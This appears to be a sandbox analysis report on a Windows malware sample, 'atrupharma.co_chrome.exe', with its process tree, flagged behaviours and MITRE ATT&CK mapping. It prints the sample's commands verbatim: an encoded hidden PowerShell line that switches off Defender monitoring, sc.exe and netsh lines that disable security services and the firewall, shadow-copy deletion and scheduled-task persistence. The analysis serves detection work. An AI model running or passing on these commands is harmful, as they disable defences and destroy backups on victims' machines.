PID 3380 wrote to memory of 2364	3380	fodhelper.exe	158
PID 2536 wrote to memory of 2176	2536	atrupharma.co_chrome.exe	122
PID 2536 wrote to memory of 1252	2536	atrupharma.co_chrome.exe	124
PID 2536 wrote to memory of 4300	2536	atrupharma.co_chrome.exe	131
PID 2536 wrote to memory of 240	2536	atrupharma.co_chrome.exe	133
PID 2536 wrote to memory of 2372	2536	atrupharma.co_chrome.exe	135
PID 2536 wrote to memory of 2128	2536	atrupharma.co_chrome.exe	140
PID 2536 wrote to memory of 1480	2536	atrupharma.co_chrome.exe	142
PID 2536 wrote to memory of 5380	2536	atrupharma.co_chrome.exe	143
PID 2536 wrote to memory of 5920	2536	atrupharma.co_chrome.exe	144
PID 2536 wrote to memory of 3372	2536	atrupharma.co_chrome.exe	145
PID 2536 wrote to memory of 2040	2536	atrupharma.co_chrome.exe	146
PID 2536 wrote to memory of 4460	2536	atrupharma.co_chrome.exe	147
PID 2536 wrote to memory of 2720	2536	atrupharma.co_chrome.exe	149
PID 2536 wrote to memory of 4648	2536	atrupharma.co_chrome.exe	155
PID 2128 wrote to memory of 1624	2128	cmd.exe	157
PID 4460 wrote to memory of 2364	4460	cmd.exe	158
PID 2040 wrote to memory of 944	2040	cmd.exe	159
PID 5920 wrote to memory of 3260	5920	cmd.exe	160
PID 1480 wrote to memory of 3384	1480	cmd.exe	161
PID 5380 wrote to memory of 4672	5380	cmd.exe	162
PID 3372 wrote to memory of 6124	3372	cmd.exe	163
PID 6124 wrote to memory of 3392	6124	net.exe	164
PID 2536 wrote to memory of 3388	2536	atrupharma.co_chrome.exe	165
PID 2128 wrote to memory of 4356	2128	cmd.exe	166
PID 2536 wrote to memory of 620	2536	atrupharma.co_chrome.exe	167
PID 2536 wrote to memory of 1272	2536	atrupharma.co_chrome.exe	168
PID 2536 wrote to memory of 52	2536	atrupharma.co_chrome.exe	169
PID 2536 wrote to memory of 1920	2536	atrupharma.co_chrome.exe	170
PID 2536 wrote to memory of 4796	2536	atrupharma.co_chrome.exe	172
PID 2536 wrote to memory of 4152	2536	atrupharma.co_chrome.exe	173
PID 52 wrote to memory of 388	52	net.exe	179
PID 4400 wrote to memory of 552	4400	chrome.exe	180
PID 4400 wrote to memory of 1956	4400	chrome.exe	181
PID 4400 wrote to memory of 1956	4400	chrome.exe	181
PID 4400 wrote to memory of 4080	4400	chrome.exe	182
PID 4400 wrote to memory of 4080	4400	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://atrupharma.co
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xb8,0x134,0x7ffc7785c728,0x7ffc7785c734,0x7ffc7785c740
    3⤵
    PID:3628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,14655544262639344682,3367985189089749717,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,18059273759126144608,18096550201036922654,262144 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:2
    3⤵
    PID:1248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3036,i,11030561941626120011,13876800031032892316,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:1
    3⤵
    PID:4924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3028,i,10453982031081875638,11468840895122530973,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=3092 /prefetch:1
    3⤵
    PID:3364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2216,i,17501363613207947028,10285888942824199738,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=2668 /prefetch:13
    3⤵
    PID:1080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4652,i,12823220461946473973,12178550970002917706,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:4248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4864,i,13360882688915891162,17575105092851346829,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:1
    3⤵
    PID:2408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5372,i,7804167196181181740,6295648207777323966,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:14
    3⤵
    PID:552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5480,i,8071527895338346878,3073602410245556390,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:1
    3⤵
    PID:1956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5524,i,3784827963003655094,9960675885399834367,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
    3⤵
    PID:4080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5820,i,62477610906927922,4982093821698576313,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
    3⤵
    PID:4140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5824,i,18429113992816697478,15125372365884569436,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:1
    3⤵
    PID:3928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,5494989511621533559,8894037782439050482,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
    3⤵
    PID:1768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5544,i,1064570213944614908,4916770289352546423,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:1
    3⤵
    PID:1648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5696,i,6630169700262612008,6852683888569024869,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:1
    3⤵
    PID:3020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5460,i,10321574203942706797,12041364613539691542,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:1
    3⤵
    PID:3132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6248,i,17219349987918037055,10191820919511106964,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:1
    3⤵
    PID:4652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4908,i,14056923959217219580,10217018634979182219,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
    3⤵
    PID:5760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4956,i,793791897647423995,6824744813093139297,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
    3⤵
    PID:4432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5376,i,12520889806047873393,210849768098734162,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:1
    3⤵
    PID:316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6360,i,15241823687322011286,3300610239138347795,2097152 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:9
    3⤵
    PID:1748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6200,i,11067818088974753483,9431490903783907032,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:14
    3⤵
    PID:5452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,6610111822061735483,14410320104214204226,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:14
    3⤵
    PID:4504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5960,i,9806987727344441398,17589965497921573111,524288 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:14
    3⤵
    PID:4500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6300,i,15253608271602002200,6472532549272100977,262144 --field-trial-handle=2008,i,12081887379758747202,12865572488120368224,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:10
    3⤵
    PID:1348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1428
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3300
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5704
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1876
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1104
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe"
    3⤵
    PID:2364
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2024
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5560
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2176
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1252
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4300
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:240
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1624
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4356
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5380
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4672
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5920
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6124
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2364
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2720
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4648
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3388
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:620
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1272
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:52
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:388
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4152

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4232

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2608

C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
1⤵
PID:1856

C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\atrupharma.co_chrome.exe
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery